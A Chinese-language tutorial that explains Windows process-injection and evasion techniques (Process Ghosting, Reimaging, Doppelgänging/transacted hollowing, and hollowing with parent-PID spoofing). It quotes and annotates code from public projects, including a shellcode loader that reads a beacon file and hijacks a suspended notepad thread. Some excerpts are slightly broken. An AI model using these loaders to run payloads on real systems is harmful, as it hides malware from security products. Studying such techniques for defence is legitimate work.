Process Ghosting

现代 Windows 创建进程的基本流程

使用 CreateFile API 打开可执行文件,获取文件句柄:

hFile = CreateFile("C:\Windows\System32\svchost.exe")

创建文件映像,通过 NtCreateSection 将文件内容映射到内存中:

hSection = NtCreateSection(hFile, SEC_IMAGE)

使用内存映像创建进程对象:

hProcess = NtCreateProcessEx(hSection)
  1. 设置进程环境

配置进程所需的环境变量和参数。

  1. 创建主线程

通过 NtCreateThreadEx 创建进程的主线程,启动执行:

NtCreateThreadEx(...)

Process Ghosting 技术解析

核心原理:利用文件删除标志实现无实体文件的进程执行。

文件删除机制(非传统 Del 命令):

  1. 方式一:在 CreateFile/NtOpenFile 时设置以下标志:

  • FILE_DELETE_ON_CLOSE

  • FILE_SUPERSEDE

  • FILE_FLAG_DELETE_ON_CLOSE
  1. 方式二:通过 NtSetInformationFile 设置 FILE_DISPOSITION_INFORMATION 结构的 DeleteFile 字段为 TRUE。

关键条件:需在文件内容被映射到进程内存(Section)后关闭句柄,删除标志才会生效。

Process Ghosting 攻击流程

  1. 创建临时文件

创建一个用于存储恶意载荷的临时文件。

  1. 设置删除挂起状态

通过 NtSetInformationFile 设置 FileDispositionInformation,将文件标记为 "删除挂起"。

注意:单独使用 FILE_DELETE_ON_CLOSE 无法完成此操作。

  1. 写入恶意载荷

将恶意代码写入临时文件,但由于文件已处于删除挂起状态,内容不会持久化,且外部无法再次打开该文件。

  1. 创建内存映像

使用 NtCreateSection 将文件内容映射到内存中。

  1. 删除物理文件

关闭文件句柄,触发删除标志,删除物理文件。

  1. 创建幽灵进程

使用内存中的映像(Section)创建进程:

hProcess = NtCreateProcessEx(hSection)
  1. 配置进程环境

设置进程参数和环境变量。

  1. 执行恶意代码

通过 NtCreateThreadEx 创建线程,在新进程中执行恶意载荷。

与 Process Doppelgänging 的对比

Process Ghosting 与 Process Doppelgänging 技术在本质上有相似之处,它们都是通过对文件进行删除相关的操作来实现特定目的。

Process Ghosting 利用的是文件删除标志(如 Delete On Close),其实现文件删除的方式是在将文件映射到内存后删除物理文件。

而 Process Doppelgänging 技术则是利用 NTFS 的事务回滚机制,通过事务的提交与回滚来实现文件内容的替换,进而达到类似的文件处理效果。

这两种技术的共同点在于,都实现了无实体文件(或文件内容不可见)的进程执行,从而增强了恶意软件的隐蔽性。

代码学习

hasherezade/process_ghosting: Process Ghosting - a PE injection technique, similar to Process Doppelgänging, but using a delete-pending file instead of a transacted file

我们这边还是简单先看看这个项目的代码

其最主要的代码位于mian.cpp的242行

bool is_ok = process_ghost(targetPath, payladBuf, (DWORD) 

我们跟进这个process_ghost看看

最开始先生成了一个随机的文件名称dummy_name

然后用随机文件名去创建一个特殊的文件,创建函数如下

    HANDLE hSection = make_section_from_delete_pending_file

我们跟进make_section_from_delete_pending_file函数看看,首先是创建了一个文件

 HANDLE hDelFile = open_file(filePath);

然后把文件属性的删除标志定义为TURE,告诉系统在文件句柄关闭时删除文件

    /* Set disposition flag */
    FILE_DISPOSITION_INFORMATION info = { 0 };
    info.DeleteFile = TRUE;

    status = NtSetInformationFile(hDelFile, &status_block, &info, sizeof(info), FileDispositionInformation);

将完整的带有shellcode的pe写入带有删除标记的文件

    status = NtWriteFile(
        hDelFile,
        NULL,
        NULL,
        NULL, 
        &status_block,
        payladBuf, 
        payloadSize,
        &ByteOffset,
        NULL
    );

最后创建内存节,将文件内容写入到内存节中去,然后关闭文件句柄,由于文件是被设置为的删除文件,文件句柄一旦关闭,文件就会被删除。最后内存中的内容在磁盘上是没有映射的。

    HANDLE hSection = nullptr;
    status = NtCreateSection(&hSection,
        SECTION_ALL_ACCESS,
        NULL,
        0,
        PAGE_READONLY,
        SEC_IMAGE,
        hDelFile
    );
    if (status != STATUS_SUCCESS) {
        std::cerr << "NtCreateSection failed: " << std::hex << status << std::endl;
        return INVALID_HANDLE_VALUE;
    }
    NtClose(hDelFile);

最终的内存节区是可读可执行的,但这是通过Windows PE加载器的正常处理实现的,而不是在创建时就设置的可疑权限。

make_section_from_delete_pending_file函数结束,我们回到process_ghost函数

刚才我们通过一系列操作,已经完成了将一个完整的pe文件映射到内存中,但是磁盘上任何文件,现在需要的就是创建一个线程去执行他。这边就是把刚才的内存节放到进程里面去了。

    HANDLE hProcess = nullptr;
    NTSTATUS status = NtCreateProcessEx(
        &hProcess, //ProcessHandle
        PROCESS_ALL_ACCESS, //DesiredAccess
        NULL, //ObjectAttributes
        NtCurrentProcess(), //ParentProcess
        PS_INHERIT_HANDLES, //Flags
        hSection, //sectionHandle
        NULL, //DebugPort
        NULL, //ExceptionPort
        FALSE //InJob
    );

当然由于我们是直接将一个完整的pe文件放到section里面去了,所以这里还要计算一下进程开始的地址才行。

大概就是获取一下peb的信息,然后计算shellcode的入口点

  PEB peb_copy = { 0 };
    if (!buffer_remote_peb(hProcess, pi, peb_copy)) {
        return false;
    }
  ULONGLONG imageBase = (ULONGLONG) peb_copy.ImageBaseAddress;
#ifdef _DEBUG
    std::cout << "ImageBase address: " << (std::hex) << (ULONGLONG)imageBase << std::endl;
#endif
    DWORD payload_ep = get_entry_point_rva(payladBuf);
    ULONGLONG procEntry =  payload_ep + imageBase;

    if (!setup_process_parameters(hProcess, pi, targetPath)) {
        std::cerr << "Parameters setup failed" << std::endl;
        return false;
    }
    std::cout << "[+] Process created! Pid = " << GetProcessId(hProcess) << "\n";
#ifdef _DEBUG
    std::cerr << "EntryPoint at: " << (std::hex) << (ULONGLONG)procEntry << std::endl;
#endif
    HANDLE hThread = NULL;
    status = NtCreateThreadEx(&hThread,
        THREAD_SET_INFORMATION, //DesiredAccess
        NULL, //ObjectAttributes
        hProcess,
        (LPTHREAD_START_ROUTINE) procEntry, //StartRoutine
        NULL, //Argument
        FALSE, //CreateFlags
        0, // ZeroBits
        0, // StackSize
        0, // MaximumStackSize
        NULL //AttributeList
    );

    if (status != STATUS_SUCCESS) {
        std::cerr << "NtCreateThreadEx failed: " << std::hex << status << std::endl;
        return false;
    }

    return true;

进程注入之进程重塑

Process Reimaging 的原理基于操作系统对文件和进程的管理方式。在Windows系统中,当一个可执行文件启动为一个进程时,操作系统会创建一个到该文件的活动引用。这个引用保持有效,直到进程终止。然而,文件系统允许在不影响已经打开的文件引用的情况下修改或替换磁盘上的文件。利用这一点,Process Reimaging 技术可以在不终止进程的情况下替换或修改正在运行的程序的代码。可以欺骗安全产品,使其在错误的路径上查找加载的映像。

其最终实现效果也是内存中的内容和磁盘文件不一样,我们接下来依然通过代码来学习

代码学习

首先是准备工作,前面的代码就不过多赘述,这里这个例子首先获取了当前进程的文件位置,然后创建了两个文件夹

    std::string executingPath = curPath + "\\executing";
    std::string hiddenPath = curPath + "\\hidden";

这两个文件夹分别是用来存储要伪造的文件和恶意的文件。


给黑程序起一个进程

    res = CreateProcess(NULL, (LPWSTR)wFullExecutingPath.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    if (res == 0) {
        DWORD err = GetLastError();
        std::cout << "[-] Error creating process: " << err << "\n";
        return 1;
    }

然后把黑程序移动到hidden文件夹中

    boolRes = MoveFileA(executingPath.c_str(), hiddenPath.c_str());
    if (!boolRes) {
        DWORD err = GetLastError();
        std::cout << "[-] Failed to move file to hidden directory:" << err << "\n";
        return 1;
    }

然后把白程序的那个目录以和黑程序相同的名字创建,覆盖掉

    int res = CreateDirectoryA(executingPath.c_str(), NULL);
    if (res == 0 && !(GetLastError() == ERROR_ALREADY_EXISTS)) {
        std::cout << "[-] Error creating directory: " << executingPath << "\n";
        return 1;
    }

最终实现了隐藏。

这个算是比较简单的了

进程注入之进程重影

英文名又叫:Process-Doppelganging

微软是给各个安全产品供应商提供了注册系统回调的功能,这些回调将在系统创建进程的时候被调用。相关安全产品的驱动程序开发人员可以调用类似PsSetCreateProcessNotifyRoutineEx之类的api来感知系统创建进程的事件。

但是就算这样,这些回调函数在创建进程的那一瞬间其实不会被调用,而是在该进程中创建第一个线程之后才会被回调函数所感知到。所以在创建进程和系统通知安全产品创建进程的事件之间产生了时间差。这就是一个攻击的机会。可以在安全产品扫描磁盘可执行文件之前篡改它。

Process Doppelgänging其本质是利用TxF的回滚特性,将恶意载荷通过Section创建创建,并根据回滚特性恢复原样的一个技术,关注Process Doppelgänging技术细节之前,首先应该关注NtCreateProcessEx 函数。该函数第6个参数是一个SectionHandle句柄。该句柄来自于transacted file。

hasherezade/process_doppelganging: My implementation of enSilo's Process Doppelganging (PE injection technique)

https://github.com/hasherezade/transacted_hollowing

和以前一样,我们通过这两个项目去学习一下免杀技术。

代码解析

我这里看的是第二个项目的代码

还是从主函数看起

首先查看了当前环境是32位的还是64位的

#ifdef _WIN64
    const bool is32bit = false;
#else
    const bool is32bit = true;

然后是读取文件中的内容,并在当前进程中分配一片内存,把文件内容放到内存中去

    BYTE* payladBuf = buffer_payload(payloadPath, payloadSize);
    if (payladBuf == NULL) {
        std::cerr << "Cannot read payload!" << std::endl;
        return -1;
    }

他这里的buffer_payload是自定义的函数,是读取文件中的内容,放到当前进程中去了。他这里用的是CreateFileMapping + MapViewOfFile去映射的文件内容到进程中。这个行为也是会被监控到的,因为是典型的恶意软件特征。

transacted_hollowing

接下来执行的是程序的核心函数, transacted_hollowing也就是进程注入的功能所在。这里跟进去看一眼。

    bool is_ok = transacted_hollowing(targetPath, payladBuf, (DWORD) payloadSize);

这边进来之后,会根据GHOSTING的状态不同会通过不同方式去

  • 非GHOSTING模式:调用用户自定义函数 make_transacted_section(事务文件方式)
  • GHOSTING模式:调用用户自定义函数 make_section_from_delete_pending_file(待删除文件方式)

make_transacted_section

这里首先讲解一下什么是事务文件,通常指与系统或应用程序的事务处理(Transaction Processing) 相关的临时文件或日志文件,用于确保数据操作的完整性、一致性和可恢复性。这类文件在数据库、文件系统、分布式系统等场景中尤为常见,核心作用是记录事务的执行过程,以便在发生错误(如崩溃、断电)时进行回滚(Rollback)或提交(Commit)。事务文件本身是可以回滚的。

首先是创建了一个事务对象

    HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
    if (hTransaction == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed to create transaction!" << std::endl;
        return INVALID_HANDLE_VALUE;
    }
    HANDLE hTransactedFile = CreateFileTransactedW(dummy_name,
        GENERIC_WRITE | GENERIC_READ,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL
    );

然后通过原生api将内存中的payload写入创建的事务文件

    DWORD writtenLen = 0;
    if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) {
        std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
        return INVALID_HANDLE_VALUE;
    }

下面基于事务文件创建一个只读、可执行的内存节(section),并关闭不再需要的文件句柄,让payload以映像节的形式存在于内存中。

    HANDLE hSection = nullptr;
    NTSTATUS status = NtCreateSection(&hSection,
        SECTION_ALL_ACCESS,
        NULL,
        0,
        PAGE_READONLY,
        SEC_IMAGE,
        hTransactedFile
    );
    if (status != STATUS_SUCCESS) {
        std::cerr << "NtCreateSection failed" << std::endl;
        return INVALID_HANDLE_VALUE;
    }
    CloseHandle(hTransactedFile);
    hTransactedFile = nullptr;

接下来通过原生api RollbackTransactionRollbackTransaction去回滚之前的事务文件,这样的话,磁盘文件上面就不存在shellcode而我们的内存之中存在之前映射上去的shellcode。

最后释放资源文件。

这是事务文件空洞的主要手法,接下来的手法就和平常的进程注入一样了。开一个挂起的进程,然后将我们内存中的shellcode映射进去,由于这个时候我们创建线程,安全软件会扫描我们内存映射的磁盘文件,诶这时候磁盘文件已经被我们回滚了,就无法扫描到shellcode了,只能通过内存扫描。

进程注入之进程空洞

英文名:Process Hollowing

简介

进程空洞化(Process hollowing)是恶意行为者用于隐藏进程存在的又一工具。其原理相当直接:引导应用程序(bootstrap application)会以挂起状态(suspended state)创建一个看似无害的进程。随后,该合法镜像会被取消映射(unmapped),并替换为需要隐藏的镜像。若新镜像的首选基址(preferred image base)与旧镜像不匹配,则必须对新镜像进行基址重定位(rebased)。当新镜像加载到内存后,挂起线程的 EAX 寄存器(EAX register)会被设置为入口点(entry point)。最后,进程恢复运行,新镜像的入口点将被执行。

KageHayashi/HollowWhisper: Base malware leveraging PPID, process hollowing, and process injection with direct syscalls.

我们通过这个项目来学习进程空洞。

代码 分析

我们这边开始从代码分析一下技术的具体实现。

首先看整个项目主程序的主函数部分

int main(int argc, char* argv[])
{

    DWORD dwPid = GetTopParentProcessId(_T("explorer.exe"));

    const char* binFile = "C:\\beacon_x64.bin";
    size_t shellcodeSize;
    BYTE* shellcode = ReadBinaryFile(binFile, &shellcodeSize);
    if (!shellcode) {
        std::cerr << "[!] 读取Shellcode文件失败" << std::endl;
        return 1;
    }

    PPIDHollowSpoof(dwPid, shellcode, shellcodeSize);

    return 0;
}

很简单的几行,我们一行一行看

进程创建准备

首先看第一行的GetTopParentProcessId

其定义如下

DWORD GetTopParentProcessId(const TCHAR* processName) {
    // Create a snapshot of the current processes
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapshot == INVALID_HANDLE_VALUE) {
        _tprintf(_T("Error creating snapshot (%d)\n"), GetLastError());
        return 0;
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    DWORD topParentProcessId = 0;

    // Retrieve information about the first process in the snapshot
    if (!Process32First(hSnapshot, &pe32)) {
        _tprintf(_T("Error retrieving process information (%d)\n"), GetLastError());
        CloseHandle(hSnapshot);
        return 0;
    }
}
    // Iterate through the processes
    do {
        if (_tcsicmp(pe32.szExeFile, processName) == 0) {
            topParentProcessId = pe32.th32ProcessID;
            break;  // Stop iterating when the process with the specified name is found
        }
    } while (Process32Next(hSnapshot, &pe32));

    // If the process with the specified name was found, get its parent process ID
    if (topParentProcessId != 0) {
        HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, topParentProcessId);
        if (hProcess != NULL) {
            DWORD parentProcessId;
            if (GetParentProcessId(topParentProcessId, &parentProcessId)) {
                HANDLE hParentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentProcessId);
                if (hParentProcess != NULL) {
                    TCHAR szParentName[MAX_PATH];

                    if (GetProcessImageFileName(hParentProcess, szParentName, MAX_PATH) > 0 &&
                        _tcsicmp(szParentName, processName) == 0) {
                        topParentProcessId = parentProcessId;
                    }

                    CloseHandle(hParentProcess);
                }
            }
            CloseHandle(hProcess);
        }
    }

    CloseHandle(hSnapshot);
    return topParentProcessId;
}

首先第一行的CreateToolhelp32Snapshot会返回当前系统所有的进程的静态信息,也就是所谓的进程快照,句柄为hSnapshot 。

第二段是检查是否是异常句柄INVALID_HANDLE_VALUE,如果是异常的句柄常亮,就会return0。

接下来是定义了一个结构体和用于存储ID的变量。分别用于存储进程的详细信息和top进程id。

下面就开始while循环,当读取快照句柄不会报错的时候,进入do whlile,

然后不区分大小写去对比,直到找到我们最开始传入的名字相同的进程。

找到进程之后,通过OpenProcess函数去读取进程的存储父进程存储区的缓冲区读取父进程。最后递归的去寻找最高的父进程(名字相同的父进程)。

最后释放内存并返回最高的父进程id。


回到主程序

然后是通过 ReadBinaryFile去读取shellcode

这个函数就不用写了,简单的读取二进制文件然后存储到缓冲区中

进程空洞化

这边看看进程空洞化的代码

PPIDHollowSpoof(dwPid, shellcode, shellcodeSize);

主函数中,传入了之前获取的最高级父进程,shellcode以及其大小。

前期的一些初始化就不过多赘述,这里看看主要的代码是如何进行的。

这里首先是打开父进程,并获得其句柄

    hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (NULL == hParentProcess)
    {
        std::wcout << "OpenProcess error";
        std::cout << GetLastError();
        return 0;
    }

openprocess是windows的api,后面的参数PROCESS_ALL_ACCESS是获取所有访问权限的意思。

接下来通过UpdateprocThtradAttribute函数去设置父进程,这是windows原生的api。将即将创建的新线程的父进程设置成我们这边给的hParentProcess

    if (!UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL))
    {
        std::wcout << "UpdateProcThreadAttribute error";
        return 0;
    }
sie.lpAttributeList = pAttributeList;

值得一提的是UpdateProcThreadAttribute和CreateProcessA都是通过改变和读取内部结构体的方式来改变和读取父进程的。最下面的那段代码就是关联属性列表到启动信息。

然后就是创建进程

    if (!CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sie.StartupInfo, &pi))
    {
        std::wcout << "CreateProcess error";
        return 0;
    }

这边就是创建一个进程,CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT这个参数的意思是创建之后线程先挂起不执行,同时以扩展信息的方式来创建线程&sie.StartupInfo参数就是之前的关联属性列表。

这样就完成了一个伪装的进程,创建了一个notepad进程然后其父进程就是explorer。

下面是进程空洞的流程

    LPVOID remoteMem = NULL;
    SIZE_T totalSize = 307248;
    NTSTATUS status = NtAllocateVirtualMemory(
        hProcess, &remoteMem, 0, &totalSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );

用系统调用去实现NtAllocateVirtualMemory,在hProcess中去分配一个指定大小的可读可写的内存PAGE_READWRITE

接下来是在新的进程中开辟一片新的内存,并写入shellcode

const int CHUNK_SIZE = 4096;
    for (int i = 0; i < totalSize; i += CHUNK_SIZE) {
        SIZE_T chunkSize = min(CHUNK_SIZE, totalSize - i);
        SIZE_T bytesWritten;

        
        if (i % (10 * CHUNK_SIZE) == 0) Sleep(rand() % 50);

        status = NtWriteVirtualMemory(
            hProcess, (PBYTE)remoteMem + i, (PBYTE)buf + i,
            chunkSize, &bytesWritten
        );
    }

可以看到也是用系统调用NtWriteVirtualMemory分块的将shellcode输入到内存中去,同时可以看到每十次写入之后,会随机sleep多少毫秒,增加了隐蔽性。也是一种思路。

然后就是将shellcode注入内存之中

    ULONG oldProtect;
    NtProtectVirtualMemory(hProcess, &remoteMem, &totalSize,
        PAGE_EXECUTE_READ, &oldProtect);

这里先把目标内存设置成可读可执行的,同样也是用的系统调用

下面是进程注入的部分

CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    NtGetContextThread(pi.hThread, &ctx);
    ctx.Rip = (DWORD64)remoteMem; 
    NtSetContextThread(pi.hThread, &ctx);

先获取当前进程的寄存器状态,将寄存器状态设置成之前写入的shellcode

    NtResumeThread(pi.hThread, NULL);

    return 1;

最后恢复线程状态,就会执行之前的shellcode。